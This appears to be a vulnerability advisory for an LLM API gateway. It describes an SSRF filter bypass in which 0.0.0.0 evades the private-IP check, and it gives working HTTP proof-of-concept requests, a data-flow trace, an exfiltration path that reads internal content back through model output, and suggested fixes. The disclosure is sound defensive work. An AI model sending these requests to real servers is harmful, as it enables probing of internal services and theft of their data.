SSRF Filter Bypass via 0.0.0.0

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:

• 10.0.0.0/8
• 172.16.0.0/12
• 192.168.0.0/16
• 127.0.0.0/8
• 169.254.0.0/16
• 224.0.0.0/4
• 240.0.0.0/4

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/system_setting/fetch_setting.go (lines 16–24) defaults:

• EnableSSRFProtection: true
• AllowPrivateIp: false
• AllowedPorts: ["80", "443", "8080", "8443"]
• ApplyIPFilterForDomain: true

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — /v1/chat/completions)

User API token
→ /v1/chat/completions  (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143  loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68       ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

• If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
• When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path
• The fetched content is rewritten to type: "base64" and inlined into the model request
• The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

POST /v1/chat/completions HTTP/1.1
Host: 
Authorization: Bearer sk-
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

POST /v1/chat/completions HTTP/1.1
Host: 
Authorization: Bearer sk-
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

POST /v1/chat/completions HTTP/1.1
Host: 
Authorization: Bearer sk-
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0: returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.
2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrf_protection.go)
2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
   • 0.0.0.0/8 ("This network")
   • 100.64.0.0/10 (Carrier-grade NAT)
   • 198.18.0.0/15 (Benchmarking)
   • IPv6 equivalents: ::1, ::, [::], fe80::/10
3. Apply the same IP validation to post-redirect targets (already partially addressed in service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

• CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
• CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6